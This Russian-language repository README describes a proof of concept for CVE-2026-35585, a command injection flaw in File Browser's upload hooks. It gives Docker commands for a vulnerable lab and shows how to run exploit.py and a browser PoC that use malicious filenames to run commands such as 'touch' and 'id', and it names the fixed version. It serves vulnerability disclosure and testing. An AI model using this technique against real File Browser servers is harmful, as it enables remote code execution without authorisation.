
Эксплойт доказательства концепции для CVE-2026-35585, уязвимости внедрения команд ОС в File Browser (версии 2.0.0 - 2.33.1). Включает PoC-скрипты на Python и на основе браузера для удаленного выполнения кода через вредоносную загрузку файлов.
Этот репозиторий содержит Proof of Concept (PoC) для критической уязвимости OS Command Injection CVE-2026-35585, обнаруженной в File Browser (версии с 2.0.0 по 2.33.1).
Уязвимость находится в функционале «Пользовательские хуки команд» (Custom Command Hooks). Из-за недостаточной санитизации переменных окружения (например, $FILE, $USERNAME) при выполнении шелла аутентифицированный пользователь с правами на загрузку файлов может выполнить произвольные команды на хост-системе, используя вредоносные имена файлов.
Обнаружено: saku0512 (https://github.com/Saku0512)
Этот проект предназначен только для образовательных целей и этичного тестирования безопасности.
Автор не несёт ответственности за любое неправомерное использование, ущерб или незаконные действия, совершённые с помощью данного инструмента. Несанкционированный доступ к компьютерным системам является незаконным. Используя это программное обеспечение, вы соглашаетесь проводить тестирование безопасности только в средах, на которые у вас есть явное разрешение.
File Browser позволяет администраторам настраивать такие хуки, как «After Upload». При выполнении этих хуков приложение запускает команды в системной оболочке, подставляя переменные (например, $FILE) с настоящим именем файла. Если имя файла содержит метасимволы оболочки (;, &, | и т.д.), они не экранируются и выполняются в системном шелле.
В этом разделе описаны шаги для воспроизведения RCE с использованием предоставленного окружения и скрипта эксплойта.
Запустите уязвимое окружение (File Browser v2.33.1) с помощью Docker Compose. При первом запуске data/filebrowser.db отсутствует, поэтому сначала инициализируйте БД File Browser, а затем настройте хуки.
# Установите соответствующие права на каталог data
mkdir -p data && sudo chown -R 1000:1000 data
# Инициализация БД
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db
# Добавьте пользователя admin / admin
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db
# Установите shell в "sh -c"
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db
# Добавьте команду After Upload
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db
# Запустите контейнер
docker compose up -d
Если data/filebrowser.db уже существует, выполнять config init не нужно. Если пользователь admin уже есть, сбросьте пароль следующей командой вместо users add:
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db
Если после запуска контейнера требуется изменить настройки хуков, сначала остановите контейнер командой docker compose stop, выполните настройку, а затем запустите снова docker compose start, чтобы избежать блокировки SQLite.
Запустите скрипт exploit.py, который автоматизирует вход в систему и загрузку вредоносного файла. Следующая команда пытается создать файл pwned_rce_test в каталоге /tmp внутри контейнера.
# Установите зависимости
pip install requests
# Запуск эксплойта
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"
Проверьте, создан ли файл в контейнере, чтобы убедиться в успешном выполнении команды.
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test
Если файл существует, RCE подтверждён.
Существующий exploit.py работает как есть. Если вам удобнее увидеть результат в стиле интерфейса File Browser, вы можете использовать прилагаемый браузерный PoC-навигатор.
Выполните шаги из раздела «1. Настройка окружения и инициализация» выше, чтобы войти в File Browser по адресу http://localhost:8080.
python3 browser_poc.py
Откройте в браузере:
http://127.0.0.1:8090/
http://localhost:8080.admin / admin, получите токен API File Browser.id > /srv/pwned_browser_rce.txt./srv/pwned_browser_rce.txt через API File Browser, чтобы увидеть результат RCE прямо на странице.Каталог /srv смонтирован в этот репозиторий в docker-compose.yml, поэтому при успешном выполнении файл pwned_browser_rce.txt появится и на хост-системе.
Обновите File Browser до версии 2.33.8 или новее. В исправленной версии функционал хуков отключён по умолчанию, а подстановка переменных обрабатывается более безопасно.